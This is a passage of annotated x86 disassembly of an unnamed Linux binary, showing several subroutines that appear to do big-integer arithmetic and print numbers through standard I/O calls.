080616ff  89 d0                 mov     %edx,%eax
08061701  79 05                 jns     08061708 <Unknown0323+0x24>
08061703  f7 d8                 neg     %eax
08061705  8d 76 00              lea     0x0(%esi),%esi
08061708  89 45 d8              mov     %eax,0xffffffd8(%ebp)
0806170b  89 d0                 mov     %edx,%eax
0806170d  85 c0                 test    %eax,%eax
0806170f  79 02                 jns     08061713 <Unknown0323+0x2f>
08061711  f7 d8                 neg     %eax
08061713  8d 04 85 0f 00 00 00  lea     0xf(,%eax,4),%eax   ;15 'xf x0 x0 x0' ""
0806171a  83 e0 f0              and     $0xfffffff0,%eax
0806171d  29 c4                 sub     %eax,%esp
0806171f  89 65 e0              mov     %esp,0xffffffe0(%ebp)
08061722  83 ec 08              sub     $0x8,%esp
08061725  56                    push    %esi
08061726  8d 5d d8              lea     0xffffffd8(%ebp),%ebx
08061729  53                    push    %ebx
0806172a  e8 71 0c 00 00        call    080623a0 <Unknown0333>
0806172f  83 c4 10              add     $0x10,%esp
08061732  52                    push    %edx
08061733  53                    push    %ebx
08061734  57                    push    %edi
08061735  56                    push    %esi
08061736  e8 49 16 00 00        call    08062d84 <Unknown0345>
0806173b  8b 46 04              mov     0x4(%esi),%eax
0806173e  83 c4 10              add     $0x10,%esp
08061741  85 c0                 test    %eax,%eax
08061743  74 27                 je      0806176c <Unknown0323+0x88>
08061745  8b 7f 04              mov     0x4(%edi),%edi
08061748  85 ff                 test    %edi,%edi
0806174a  79 20                 jns     0806176c <Unknown0323+0x88>
0806174c  8b 4b 04              mov     0x4(%ebx),%ecx
0806174f  85 c9                 test    %ecx,%ecx
08061751  79 0d                 jns     08061760 <Unknown0323+0x7c>
08061753  52                    push    %edx
08061754  53                    push    %ebx
08061755  56                    push    %esi
08061756  56                    push    %esi
08061757  e8 0c 0f 00 00        call    08062668 <Unknown0340>
0806175c  eb 0b                 jmp     08061769 <Unknown0323+0x85>
0806175e  89 f6                 mov     %esi,%esi
08061760  50                    push    %eax
08061761  53                    push    %ebx
08061762  56                    push    %esi
08061763  56                    push    %esi
08061764  e8 b7 ec ff ff        call    08060420 <Unknown0305>
08061769  83 c4 10              add     $0x10,%esp
0806176c  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0806176f  5b                    pop     %ebx
08061770  5e                    pop     %esi
08061771  5f                    pop     %edi
08061772  5d                    pop     %ebp
08061773  c3                    ret
```

```
        ;
        ; >---------------------<  Subroutine # 324 >---------------------<
        ;
08061774 <Unknown0324>:
08061774  55                      push    %ebp
08061775  89 e5                   mov     %esp,%ebp
08061777  57                      push    %edi
08061778  56                      push    %esi
08061779  53                      push    %ebx
0806177a  83 ec 0c                sub     $0xc,%esp
0806177d  8b 45 0c                mov     0xc(%ebp),%eax
08061780  8b 40 04                mov     0x4(%eax),%eax
08061783  85 c0                   test    %eax,%eax
08061785  89 45 f0                mov     %eax,0xfffffff0(%ebp)
08061788  89 c3                   mov     %eax,%ebx
0806178a  79 02                   jns     0806178e <Unknown0324+0x1a>
0806178c  f7 db                   neg     %ebx
0806178e  8b 4d f0                mov     0xfffffff0(%ebp),%ecx
08061791  85 c9                   test    %ecx,%ecx
08061793  75 0f                   jne     080617a4 <Unknown0324+0x30>
08061795  8b 55 08                mov     0x8(%ebp),%edx
08061798  c7 42 04 00 00 00 00    movl    $0x0,0x4(%edx)   ;0 'x0 x0 x0 x0' ""
0806179f  e9 a4 00 00 00          jmp     08061848 <Unknown0324+0xd4>   ;164 'xa4 x0 x0 x0' ""
080617a4  8b 7d 10                mov     0x10(%ebp),%edi
080617a7  c1 ef 05                shr     $0x5,%edi
080617aa  8d 04 1f                lea     (%edi,%ebx,1),%eax
080617ad  89 c6                   mov     %eax,%esi
080617af  89 45 e8                mov     %eax,0xffffffe8(%ebp)
080617b2  46                      inc     %esi
080617b3  8b 55 08                mov     0x8(%ebp),%edx
080617b6  39 32                   cmp     %esi,(%edx)
080617b8  7d 0d                   jge     080617c7 <Unknown0324+0x53>
080617ba  83 ec 08                sub     $0x8,%esp
080617bd  56                      push    %esi
080617be  52                      push    %edx
080617bf  e8 8c 0b 00 00          call    08062350 <Unknown0331>
080617c4  83 c4 10                add     $0x10,%esp
080617c7  8b 45 08                mov     0x8(%ebp),%eax
080617ca  8b 40 08                mov     0x8(%eax),%eax
080617cd  89 45 ec                mov     %eax,0xffffffec(%ebp)
080617d0  8b 45 10                mov     0x10(%ebp),%eax
080617d3  83 e0 1f                and     $0x1f,%eax
080617d6  8b 75 e8                mov     0xffffffe8(%ebp),%esi
080617d9  74 25                   je      08061800 <Unknown0324+0x8c>
080617db  50                      push    %eax
080617dc  53                      push    %ebx
080617dd  8b 55 0c                mov     0xc(%ebp),%edx
080617e0  ff 72 08                pushl   0x8(%edx)
080617e3  8b 55 ec                mov     0xffffffec(%ebp),%edx
080617e6  8d 04 ba                lea     (%edx,%edi,4),%eax
080617e9  50                      push    %eax
080617ea  e8 d9 26 00 00          call    08063ec8 <Unknown0360>
080617ef  83 c4 10                add     $0x10,%esp
080617f2  85 c0                   test    %eax,%eax
080617f4  74 29                   je      0806181f <Unknown0324+0xab>
080617f6  8b 55 ec                mov     0xffffffec(%ebp),%edx
080617f9  89 04 b2                mov     %eax,(%edx,%esi,4)
080617fc  46                      inc     %esi
080617fd  eb 20                   jmp     0806181f <Unknown0324+0xab>
080617ff  90                      nop
08061800  89 da                   mov     %ebx,%edx
08061802  4a                      dec     %edx
08061803  78 1a                   js      0806181f <Unknown0324+0xab>
08061805  8b 45 0c                mov     0xc(%ebp),%eax
08061808  8b 58 08                mov     0x8(%eax),%ebx
0806180b  8d 0c 3a                lea     (%edx,%edi,1),%ecx
0806180e  8b 45 ec                mov     0xffffffec(%ebp),%eax
08061811  8d 0c 88                lea     (%eax,%ecx,4),%ecx
08061814  8b 04 93                mov     (%ebx,%edx,4),%eax
08061817  89 01                   mov     %eax,(%ecx)
08061819  83 e9 04                sub     $0x4,%ecx
0806181c  4a                      dec     %edx
0806181d  79 f5                   jns     08061814 <Unknown0324+0xa0>
0806181f  31 c0                   xor     %eax,%eax
08061821  39 f8                   cmp     %edi,%eax
08061823  7d 12                   jge     08061837 <Unknown0324+0xc3>
08061825  8d 76 00                lea     0x0(%esi),%esi
08061828  8b 55 ec                mov     0xffffffec(%ebp),%edx
0806182b  c7 04 82 00 00 00 00    movl    $0x0,(%edx,%eax,4)   ;0 'x0 x0 x0 x0' ""
08061832  40                      inc     %eax
08061833  39 f8                   cmp     %edi,%eax
08061835  7c f1                   jl      08061828 <Unknown0324+0xb4>
08061837  8b 55 f0                mov     0xfffffff0(%ebp),%edx
```

```
0806183a   85 d2                     test    %edx,%edx
0806183c   89 f0                     mov     %esi,%eax
0806183e   79 02                     jns     08061842 <Unknown0324+0xce>
08061840   f7 d8                     neg     %eax
08061842   8b 55 08                  mov     0x8(%ebp),%edx
08061845   89 42 04                  mov     %eax,0x4(%edx)
08061848   8d 65 f4                  lea     0xfffffff4(%ebp),%esp
0806184b   5b                        pop     %ebx
0806184c   5e                        pop     %esi
0806184d   5f                        pop     %edi
0806184e   5d                        pop     %ebp
0806184f   c3                        ret


  ;
  ; >---------------------<  Subroutine # 325 >---------------------<
  ;
08061850 <Unknown0325>:
08061850   55                        push    %ebp
08061851   89 e5                     mov     %esp,%ebp
08061853   57                        push    %edi
08061854   56                        push    %esi
08061855   53                        push    %ebx
08061856   83 ec 1c                  sub     $0x1c,%esp
08061859   8b 55 0c                  mov     0xc(%ebp),%edx
0806185c   8b 7a 04                  mov     0x4(%edx),%edi
0806185f   8b 4d 10                  mov     0x10(%ebp),%ecx
08061862   8b 71 04                  mov     0x4(%ecx),%esi
08061865   89 7d f0                  mov     %edi,0xfffffff0(%ebp)
08061868   31 75 f0                  xor     %esi,0xfffffff0(%ebp)
0806186b   85 ff                     test    %edi,%edi
0806186d   c7 45 e4 00 00 00 00      movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
08061874   79 02                     jns     08061878 <Unknown0325+0x28>
08061876   f7 df                     neg     %edi
08061878   85 f6                     test    %esi,%esi
0806187a   79 02                     jns     0806187e <Unknown0325+0x2e>
0806187c   f7 de                     neg     %esi
0806187e   39 f7                     cmp     %esi,%edi
08061880   7d 0c                     jge     0806188e <Unknown0325+0x3e>
08061882   89 d0                     mov     %edx,%eax
08061884   89 ca                     mov     %ecx,%edx
08061886   89 c1                     mov     %eax,%ecx
08061888   89 f8                     mov     %edi,%eax
0806188a   89 f7                     mov     %esi,%edi
0806188c   89 c6                     mov     %eax,%esi
0806188e   8b 42 08                  mov     0x8(%edx),%eax
08061891   89 45 ec                  mov     %eax,0xffffffec(%ebp)
08061894   8b 41 08                  mov     0x8(%ecx),%eax
08061897   89 45 e8                  mov     %eax,0xffffffe8(%ebp)
0806189a   8b 55 08                  mov     0x8(%ebp),%edx
0806189d   8d 1c 3e                  lea     (%esi,%edi,1),%ebx
080618a0   8b 02                     mov     (%edx),%eax
080618a2   39 d8                     cmp     %ebx,%eax
080618a4   8b 4a 08                  mov     0x8(%edx),%ecx
080618a7   7d 47                     jge     080618f0 <Unknown0325+0xa0>
080618a9   3b 4d ec                  cmp     0xffffffec(%ebp),%ecx
080618ac   74 05                     je      080618b3 <Unknown0325+0x63>
080618ae   3b 4d e8                  cmp     0xffffffe8(%ebp),%ecx
080618b1   75 09                     jne     080618bc <Unknown0325+0x6c>
080618b3   89 4d e4                  mov     %ecx,0xffffffe4(%ebp)
080618b6   89 45 e0                  mov     %eax,0xffffffe0(%ebp)
080618b9   eb 12                     jmp     080618cd <Unknown0325+0x7d>
080618bb   90                        nop
080618bc   83 ec 08                  sub     $0x8,%esp
080618bf   c1 e0 02                  shl     $0x2,%eax
080618c2   50                        push    %eax
080618c3   51                        push    %ecx
080618c4   ff 15 30 93 07 08         call    *0x8079330   ;[in .data] 134623192 'xd8 x2f x6 x8' ""
080618ca   83 c4 10                  add     $0x10,%esp
080618cd   8b 45 08                  mov     0x8(%ebp),%eax
080618d0   89 18                     mov     %ebx,(%eax)
080618d2   83 ec 0c                  sub     $0xc,%esp
080618d5   8d 04 9d 00 00 00 00      lea     0x0(,%ebx,4),%eax   ;0 'x0 x0 x0 x0' ""
080618dc   50                        push    %eax
080618dd   ff 15 28 93 07 08         call    *0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
080618e3   89 c1                     mov     %eax,%ecx
080618e5   8b 55 08                  mov     0x8(%ebp),%edx
080618e8   89 4a 08                  mov     %ecx,0x8(%edx)
080618eb   83 c4 10                  add     $0x10,%esp
080618ee   eb 5e                     jmp     0806194e <Unknown0325+0xfe>
080618f0   3b 4d ec                  cmp     0xffffffec(%ebp),%ecx
080618f3   75 2f                     jne     08061924 <Unknown0325+0xd4>
080618f5   8d 04 bd 0f 00 00 00      lea     0xf(,%edi,4),%eax   ;15 'xf x0 x0 x0' ""
080618fc   83 e0 f0                  and     $0xfffffff0,%eax
```

```
080618ff  29 c4              sub     %eax,%esp
08061901  3b 4d e8           cmp     0xffffffe8(%ebp),%ecx
08061904  89 65 ec           mov     %esp,0xffffffec(%ebp)
08061907  75 03              jne     0806190c <Unknown0325+0xbc>
08061909  89 65 e8           mov     %esp,0xffffffe8(%ebp)
0806190c  31 d2              xor     %edx,%edx
0806190e  39 7d e4           cmp     %edi,0xffffffe4(%ebp)
08061911  7d 3b              jge     0806194e <Unknown0325+0xfe>
08061913  90                 nop
08061914  8b 04 91           mov     (%ecx,%edx,4),%eax
08061917  8b 5d ec           mov     0xffffffec(%ebp),%ebx
0806191a  89 04 93           mov     %eax,(%ebx,%edx,4)
0806191d  42                 inc     %edx
0806191e  39 fa              cmp     %edi,%edx
08061920  7c f2              jl      08061914 <Unknown0325+0xc4>
08061922  eb 2a              jmp     0806194e <Unknown0325+0xfe>
08061924  3b 4d e8           cmp     0xffffffe8(%ebp),%ecx
08061927  75 25              jne     0806194e <Unknown0325+0xfe>
08061929  8d 04 b5 0f 00 00 00  lea   0xf(,%esi,4),%eax   ;15 'xf x0 x0 x0' ""
08061930  83 e0 f0           and     $0xfffffff0,%eax
08061933  29 c4              sub     %eax,%esp
08061935  89 65 e8           mov     %esp,0xffffffe8(%ebp)
08061938  31 d2              xor     %edx,%edx
0806193a  39 f2              cmp     %esi,%edx
0806193c  7d 10              jge     0806194e <Unknown0325+0xfe>
0806193e  89 f6              mov     %esi,%esi
08061940  8b 04 91           mov     (%ecx,%edx,4),%eax
08061943  8b 5d e8           mov     0xffffffe8(%ebp),%ebx
08061946  89 04 93           mov     %eax,(%ebx,%edx,4)
08061949  42                 inc     %edx
0806194a  39 f2              cmp     %esi,%edx
0806194c  7c f2              jl      08061940 <Unknown0325+0xf0>
0806194e  31 db              xor     %ebx,%ebx
08061950  85 f6              test    %esi,%esi
08061952  74 20              je      08061974 <Unknown0325+0x124>
08061954  83 ec 0c           sub     $0xc,%esp
08061957  56                 push    %esi
08061958  ff 75 e8           pushl   0xffffffe8(%ebp)
0806195b  57                 push    %edi
0806195c  ff 75 ec           pushl   0xffffffec(%ebp)
0806195f  51                 push    %ecx
08061960  e8 23 2f 00 00     call    08064888 <Unknown0368>
08061965  83 c4 20           add     $0x20,%esp
08061968  31 d2              xor     %edx,%edx
0806196a  85 c0              test    %eax,%eax
0806196c  8d 1c 3e           lea     (%esi,%edi,1),%ebx
0806196f  0f 94 c2           sete    %dl
08061972  29 d3              sub     %edx,%ebx
08061974  8b 55 f0           mov     0xfffffff0(%ebp),%edx
08061977  85 d2              test    %edx,%edx
08061979  89 d8              mov     %ebx,%eax
0806197b  79 02              jns     0806197f <Unknown0325+0x12f>
0806197d  f7 d8              neg     %eax
0806197f  8b 55 08           mov     0x8(%ebp),%edx
08061982  89 42 04           mov     %eax,0x4(%edx)
08061985  8b 45 e4           mov     0xffffffe4(%ebp),%eax
08061988  85 c0              test    %eax,%eax
0806198a  74 16              je      080619a2 <Unknown0325+0x152>
0806198c  8b 45 e0           mov     0xffffffe0(%ebp),%eax
0806198f  83 ec 08           sub     $0x8,%esp
08061992  c1 e0 02           shl     $0x2,%eax
08061995  50                 push    %eax
08061996  ff 75 e4           pushl   0xffffffe4(%ebp)
08061999  ff 15 30 93 07 08  call    *0x8079330  ;[in .data] 134623192 'xd8 x2f x6 x8' ""
0806199f  83 c4 10           add     $0x10,%esp
080619a2  8d 65 f4           lea     0xfffffff4(%ebp),%esp
080619a5  5b                 pop     %ebx
080619a6  5e                 pop     %esi
080619a7  5f                 pop     %edi
080619a8  5d                 pop     %ebp
080619a9  c3                 ret
080619aa  89 f6              mov     %esi,%esi


 ;
 ; >---------------------<  Subroutine # 326 >---------------------<
 ;
080619ac <Unknown0326>:
080619ac  55                 push    %ebp
080619ad  89 e5              mov     %esp,%ebp
080619af  57                 push    %edi
080619b0  56                 push    %esi
080619b1  53                 push    %ebx
080619b2  83 ec 1c           sub     $0x1c,%esp
```

```
080619b5  8b 45 08              mov     0x8(%ebp),%eax
080619b8  8b 7d 10              mov     0x10(%ebp),%edi
080619bb  85 c0                 test    %eax,%eax
080619bd  8b 77 04              mov     0x4(%edi),%esi
080619c0  75 08                 jne     080619ca <Unknown0326+0x1e>
080619c2  a1 08 9c 07 08        mov     0x8079c08,%eax     ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                            20000731 (Red Hat Linux 7.1 2.96-79)"
080619c7  89 45 08              mov     %eax,0x8(%ebp)
080619ca  8b 5d 0c              mov     0xc(%ebp),%ebx
080619cd  85 db                 test    %ebx,%ebx
080619cf  78 17                 js      080619e8 <Unknown0326+0x3c>
080619d1  8b 4d 0c              mov     0xc(%ebp),%ecx
080619d4  85 c9                 test    %ecx,%ecx
080619d6  75 07                 jne     080619df <Unknown0326+0x33>
080619d8  c7 45 0c 0a 00 00 00  movl    $0xa,0xc(%ebp)     ;10 'xa x0 x0 x0' ""
080619df  c7 45 d8 40 57 07 08  movl    $0x8075740,0xfffffffd8(%ebp)   ;[in .rodata] 858927408 'x30 x31 x32
                                                            x33'
                                                            "0123456789abcdefghijklmnopqrstuvwxyz"
080619e6  eb 0a                 jmp     080619f2 <Unknown0326+0x46>
080619e8  f7 5d 0c              negl    0xc(%ebp)
080619eb  c7 45 d8 80 57 07 08  movl    $0x8075780,0xfffffffd8(%ebp)   ;[in .rodata] 858927408 'x30 x31 x32
                                                            x33'
                                                            "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
080619f2  85 f6                 test    %esi,%esi
080619f4  75 2a                 jne     08061a20 <Unknown0326+0x74>
080619f6  83 ec 08              sub     $0x8,%esp
080619f9  ff 75 08              pushl   0x8(%ebp)
080619fc  6a 30                 push    $0x30
080619fe  e8 39 87 fe ff        call    0804a13c <fputc>
08061a03  5a                    pop     %edx
08061a04  ff 75 08              pushl   0x8(%ebp)
08061a07  e8 40 82 fe ff        call    08049c4c <ferror>
08061a0c  89 c2                 mov     %eax,%edx
08061a0e  83 c4 10              add     $0x10,%esp
08061a11  31 c0                 xor     %eax,%eax
08061a13  85 d2                 test    %edx,%edx
08061a15  0f 94 c0              sete    %al
08061a18  e9 e6 00 00 00        jmp     08061b03 <Unknown0326+0x157>  ;230 'xe6 x0 x0 x0' ""
08061a1d  8d 76 00              lea     0x0(%esi),%esi
08061a20  85 f6                 test    %esi,%esi
08061a22  c7 45 dc 00 00 00 00  movl    $0x0,0xfffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
08061a29  79 19                 jns     08061a44 <Unknown0326+0x98>
08061a2b  83 ec 08              sub     $0x8,%esp
08061a2e  ff 75 08              pushl   0x8(%ebp)
08061a31  6a 2d                 push    $0x2d
08061a33  e8 04 87 fe ff        call    0804a13c <fputc>
08061a38  f7 de                 neg     %esi
08061a3a  c7 45 dc 01 00 00 00  movl    $0x1,0xfffffffdc(%ebp)   ;1 'x1 x0 x0 x0' ""
08061a41  83 c4 10              add     $0x10,%esp
08061a44  89 f2                 mov     %esi,%edx
08061a46  8b 45 0c              mov     0xc(%ebp),%eax
08061a49  c1 e2 05              shl     $0x5,%edx
08061a4c  c1 e0 04              shl     $0x4,%eax
08061a4f  d9 80 e4 57 07 08     flds    0x80757e4(%eax)   ;[in .rodata] 0 'x0 x0 x0 x0' ""
08061a55  52                    push    %edx
08061a56  da 0c 24              fimull  (%esp,1)
08061a59  d9 7d ec              fnstcw  0xfffffffec(%ebp)
08061a5c  8b 4d ec              mov     0xfffffffec(%ebp),%ecx
08061a5f  c6 45 ed 0c           movb    $0xc,0xfffffffed(%ebp)
08061a63  d9 6d ec              fldcw   0xfffffffec(%ebp)
08061a66  89 4d ec              mov     %ecx,0xfffffffec(%ebp)
08061a69  df 7d e0              fistpll 0xfffffffe0(%ebp)
08061a6c  d9 6d ec              fldcw   0xfffffffec(%ebp)
08061a6f  8b 45 e0              mov     0xfffffffe0(%ebp),%eax
08061a72  83 c0 12              add     $0x12,%eax
08061a75  83 e0 f0              and     $0xfffffff0,%eax
08061a78  5a                    pop     %edx
08061a79  29 c4                 sub     %eax,%esp
08061a7b  8d 04 b5 13 00 00 00  lea     0x13(,%esi,4),%eax   ;19 'x13 x0 x0 x0' ""
08061a82  83 e0 f0              and     $0xfffffff0,%eax
08061a85  89 e3                 mov     %esp,%ebx
08061a87  29 c4                 sub     %eax,%esp
08061a89  89 e1                 mov     %esp,%ecx
08061a8b  31 d2                 xor     %edx,%edx
08061a8d  39 f2                 cmp     %esi,%edx
08061a8f  7d 0e                 jge     08061a9f <Unknown0326+0xf3>
08061a91  8b 7f 08              mov     0x8(%edi),%edi
08061a94  8b 04 97              mov     (%edi,%edx,4),%eax
08061a97  89 04 91              mov     %eax,(%ecx,%edx,4)
08061a9a  42                    inc     %edx
08061a9b  39 f2                 cmp     %esi,%edx
08061a9d  7c f5                 jl      08061a94 <Unknown0326+0xe8>
08061a9f  56                    push    %esi
08061aa0  51                    push    %ecx
```

```
08061aa1  ff 75 0c            pushl   0xc(%ebp)
08061aa4  53                  push    %ebx
08061aa5  e8 3a 22 00 00      call    08063ce4 <Unknown0358>
08061aaa  83 c4 10            add     $0x10,%esp
08061aad  80 3b 00            cmpb    $0x0,(%ebx)
08061ab0  89 c1               mov     %eax,%ecx
08061ab2  75 07               jne     08061abb <Unknown0326+0x10f>
08061ab4  43                  inc     %ebx
08061ab5  49                  dec     %ecx
08061ab6  80 3b 00            cmpb    $0x0,(%ebx)
08061ab9  74 f9               je      08061ab4 <Unknown0326+0x108>
08061abb  31 d2               xor     %edx,%edx
08061abd  39 ca               cmp     %ecx,%edx
08061abf  73 15               jae     08061ad6 <Unknown0326+0x12a>
08061ac1  8d 76 00            lea     0x0(%esi),%esi
08061ac4  0f b6 04 1a         movzbl  (%edx,%ebx,1),%eax
08061ac8  8b 75 d8            mov     0xffffffd8(%ebp),%esi
08061acb  8a 04 30            mov     (%eax,%esi,1),%al
08061ace  88 04 1a            mov     %al,(%edx,%ebx,1)
08061ad1  42                  inc     %edx
08061ad2  39 ca               cmp     %ecx,%edx
08061ad4  72 ee               jb      08061ac4 <Unknown0326+0x118>
08061ad6  c6 04 19 00         movb    $0x0,(%ecx,%ebx,1)
08061ada  ff 75 08            pushl   0x8(%ebp)
08061add  51                  push    %ecx
08061ade  6a 01               push    $0x1
08061ae0  53                  push    %ebx
08061ae1  e8 76 89 fe ff      call    0804a45c <fwrite>
08061ae6  01 45 dc            add     %eax,0xffffffdc(%ebp)
08061ae9  58                  pop     %eax
08061aea  ff 75 08            pushl   0x8(%ebp)
08061aed  e8 5a 81 fe ff      call    08049c4c <ferror>
08061af2  83 c4 10            add     $0x10,%esp
08061af5  31 d2               xor     %edx,%edx
08061af7  85 c0               test    %eax,%eax
08061af9  0f 95 c2            setne   %dl
08061afc  4a                  dec     %edx
08061afd  21 55 dc            and     %edx,0xffffffdc(%ebp)
08061b00  8b 45 dc            mov     0xffffffdc(%ebp),%eax
08061b03  8d 65 f4            lea     0xfffffff4(%ebp),%esp
08061b06  5b                  pop     %ebx
08061b07  5e                  pop     %esi
08061b08  5f                  pop     %edi
08061b09  5d                  pop     %ebp
08061b0a  c3                  ret
08061b0b  90                  nop


  ;
  ; >--------------------<  Subroutine # 327 >--------------------<
  ;
08061b0c <Unknown0327>:
08061b0c  55                  push    %ebp
08061b0d  89 e5               mov     %esp,%ebp
08061b0f  57                  push    %edi
08061b10  56                  push    %esi
08061b11  53                  push    %ebx
08061b12  83 ec 6c            sub     $0x6c,%esp
08061b15  8b 55 10            mov     0x10(%ebp),%edx
08061b18  c7 45 a0 00 00 00 00 movl   $0x0,0xffffffa0(%ebp)  ;0 'x0 x0 x0 x0' ""
08061b1f  8b 42 04            mov     0x4(%edx),%eax
08061b22  85 c0               test    %eax,%eax
08061b24  8b 5d 14            mov     0x14(%ebp),%ebx
08061b27  89 45 b4            mov     %eax,0xffffffb4(%ebp)
08061b2a  79 05               jns     08061b31 <Unknown0327+0x25>
08061b2c  f7 d8               neg     %eax
08061b2e  89 45 b4            mov     %eax,0xffffffb4(%ebp)
08061b31  8b 43 04            mov     0x4(%ebx),%eax
08061b34  85 c0               test    %eax,%eax
08061b36  89 45 b0            mov     %eax,0xffffffb0(%ebp)
08061b39  79 05               jns     08061b40 <Unknown0327+0x34>
08061b3b  f7 d8               neg     %eax
08061b3d  89 45 b0            mov     %eax,0xffffffb0(%ebp)
08061b40  8b 45 08            mov     0x8(%ebp),%eax
08061b43  8b 40 08            mov     0x8(%eax),%eax
08061b46  89 45 c4            mov     %eax,0xffffffc4(%ebp)
08061b49  8b 42 08            mov     0x8(%edx),%eax
08061b4c  8b 75 b0            mov     0xffffffb0(%ebp),%esi
08061b4f  89 45 c0            mov     %eax,0xffffffc0(%ebp)
08061b52  8b 45 b0            mov     0xffffffb0(%ebp),%eax
08061b55  d1 e6               shl     %esi
08061b57  85 c0               test    %eax,%eax
08061b59  75 0e               jne     08061b69 <Unknown0327+0x5d>
08061b5b  ba 01 00 00 00      mov     $0x1,%edx  ;1 'x1 x0 x0 x0' ""
```

```
08061b60   89 d0                    mov      %edx,%eax
08061b62   99                       cltd
08061b63   f7 7d a0                 idivl    0xffffffa0(%ebp)
08061b66   89 45 b0                 mov      %eax,0xffffffb0(%ebp)
08061b69   8b 7d b4                 mov      0xffffffb4(%ebp),%edi
08061b6c   85 ff                    test     %edi,%edi
08061b6e   75 2c                    jne      08061b9c <Unknown0327+0x90>
08061b70   8b 55 c4                 mov      0xffffffc4(%ebp),%edx
08061b73   c7 02 01 00 00 00        movl     $0x1,(%edx)   ;1 'x1 x0 x0 x0' ""
08061b79   31 d2                    xor      %edx,%edx
08061b7b   83 7d b0 01              cmpl     $0x1,0xffffffb0(%ebp)
08061b7f   75 08                    jne      08061b89 <Unknown0327+0x7d>
08061b81   8b 43 08                 mov      0x8(%ebx),%eax
08061b84   83 38 01                 cmpl     $0x1,(%eax)
08061b87   74 05                    je       08061b8e <Unknown0327+0x82>
08061b89   ba 01 00 00 00           mov      $0x1,%edx     ;1 'x1 x0 x0 x0' ""
08061b8e   8b 4d 08                 mov      0x8(%ebp),%ecx
08061b91   89 51 04                 mov      %edx,0x4(%ecx)
08061b94   e9 10 05 00 00           jmp      080620a9 <Unknown0327+0x59d>   ;1296 'x10 x5 x0 x0' ""
08061b99   8d 76 00                 lea      0x0(%esi),%esi
08061b9c   8b 45 b0                 mov      0xffffffb0(%ebp),%eax
08061b9f   c1 e0 02                 shl      $0x2,%eax
08061ba2   8d 50 0f                 lea      0xf(%eax),%edx
08061ba5   83 e2 f0                 and      $0xfffffff0,%edx
08061ba8   29 d4                    sub      %edx,%esp
08061baa   89 65 bc                 mov      %esp,0xffffffbc(%ebp)
08061bad   8b 4b 08                 mov      0x8(%ebx),%ecx
08061bb0   0f bd 44 08 fc           bsr      0xfffffffc(%eax,%ecx,1),%eax
08061bb5   83 f0 1f                 xor      $0x1f,%eax
08061bb8   89 45 a8                 mov      %eax,0xffffffa8(%ebp)
08061bbb   74 17                    je       08061bd4 <Unknown0327+0xc8>
08061bbd   50                       push     %eax
08061bbe   ff 75 b0                 pushl    0xffffffb0(%ebp)
08061bc1   ff 73 08                 pushl    0x8(%ebx)
08061bc4   ff 75 bc                 pushl    0xffffffbc(%ebp)
08061bc7   e8 fc 22 00 00           call     08063ec8 <Unknown0360>
08061bcc   83 c4 10                 add      $0x10,%esp
08061bcf   eb 22                    jmp      08061bf3 <Unknown0327+0xe7>
08061bd1   8d 76 00                 lea      0x0(%esi),%esi
08061bd4   8b 45 b0                 mov      0xffffffb0(%ebp),%eax
08061bd7   31 d2                    xor      %edx,%edx
08061bd9   39 45 a0                 cmp      %eax,0xffffffa0(%ebp)
08061bdc   7d 15                    jge      08061bf3 <Unknown0327+0xe7>
08061bde   eb 04                    jmp      08061be4 <Unknown0327+0xd8>
08061be0   8b 4b 08                 mov      0x8(%ebx),%ecx
08061be3   90                       nop
08061be4   8b 04 91                 mov      (%ecx,%edx,4),%eax
08061be7   8b 4d bc                 mov      0xffffffbc(%ebp),%ecx
08061bea   89 04 91                 mov      %eax,(%ecx,%edx,4)
08061bed   42                       inc      %edx
08061bee   3b 55 b0                 cmp      0xffffffb0(%ebp),%edx
08061bf1   7c ed                    jl       08061be0 <Unknown0327+0xd4>
08061bf3   8b 45 0c                 mov      0xc(%ebp),%eax
08061bf6   8b 40 04                 mov      0x4(%eax),%eax
08061bf9   85 c0                    test     %eax,%eax
08061bfb   89 45 ac                 mov      %eax,0xffffffac(%ebp)
08061bfe   79 05                    jns      08061c05 <Unknown0327+0xf9>
08061c00   f7 d8                    neg      %eax
08061c02   89 45 ac                 mov      %eax,0xffffffac(%ebp)
08061c05   8b 55 b0                 mov      0xffffffb0(%ebp),%edx
08061c08   39 55 ac                 cmp      %edx,0xffffffac(%ebp)
08061c0b   7e 7f                    jle      08061c8c <Unknown0327+0x180>
08061c0d   8b 4d ac                 mov      0xffffffac(%ebp),%ecx
08061c10   8d 04 8d 13 00 00 00     lea      0x13(,%ecx,4),%eax   ;19 'x13 x0 x0 x0' ""
08061c17   83 e0 f0                 and      $0xfffffff0,%eax
08061c1a   29 c4                    sub      %eax,%esp
08061c1c   89 65 b8                 mov      %esp,0xffffffb8(%ebp)
08061c1f   31 d2                    xor      %edx,%edx
08061c21   39 ca                    cmp      %ecx,%edx
08061c23   7d 16                    jge      08061c3b <Unknown0327+0x12f>
08061c25   8b 5d 0c                 mov      0xc(%ebp),%ebx
08061c28   8b 4b 08                 mov      0x8(%ebx),%ecx
08061c2b   90                       nop
08061c2c   8b 04 91                 mov      (%ecx,%edx,4),%eax
08061c2f   8b 5d b8                 mov      0xffffffb8(%ebp),%ebx
08061c32   89 04 93                 mov      %eax,(%ebx,%edx,4)
08061c35   42                       inc      %edx
08061c36   3b 55 ac                 cmp      0xffffffac(%ebp),%edx
08061c39   7c f1                    jl       08061c2c <Unknown0327+0x120>
08061c3b   83 ec 08                 sub      $0x8,%esp
08061c3e   ff 75 b0                 pushl    0xffffffb0(%ebp)
08061c41   ff 75 bc                 pushl    0xffffffbc(%ebp)
08061c44   ff 75 ac                 pushl    0xffffffac(%ebp)
08061c47   ff 75 b8                 pushl    0xffffffb8(%ebp)
```

```
08061c4a  8b 45 b0              mov     0xffffffb0(%ebp),%eax
08061c4d  8b 55 b8              mov     0xffffffb8(%ebp),%edx
08061c50  6a 00                 push    $0x0
08061c52  8d 1c 82              lea     (%edx,%eax,4),%ebx
08061c55  53                    push    %ebx
08061c56  e8 cd 14 00 00        call    08063128 <Unknown0353>
08061c5b  8b 4d b0              mov     0xffffffb0(%ebp),%ecx
08061c5e  83 c4 20              add     $0x20,%esp
08061c61  85 c9                 test    %ecx,%ecx
08061c63  89 4d ac              mov     %ecx,0xffffffac(%ebp)
